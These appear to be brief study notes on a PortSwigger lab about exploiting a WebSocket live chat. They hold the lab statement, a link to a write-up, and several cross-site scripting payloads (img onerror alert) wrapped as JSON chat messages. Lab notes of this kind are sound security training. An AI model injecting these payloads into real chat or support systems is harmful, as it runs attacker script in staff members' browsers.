Manipulating WebSocket messages to exploit vulnerabilities

https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities

This online shop has a live chat feature implemented using WebSockets.

Chat messages that you submit are viewed by a support agent in real time.

To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent's browser.

---

https://siunam321.github.io/ctf/portswigger-labs/WebSockets/ws-1/

<img src=error onerror='alert(document.domain)'>

{"message":"<img src=error onerror='alert(1)'>"}

pero mediante repeater:

<img src=1 onerror='alert(1)'>

{"user":"You","content":"<img src=1 onerror='alert(1)'>"}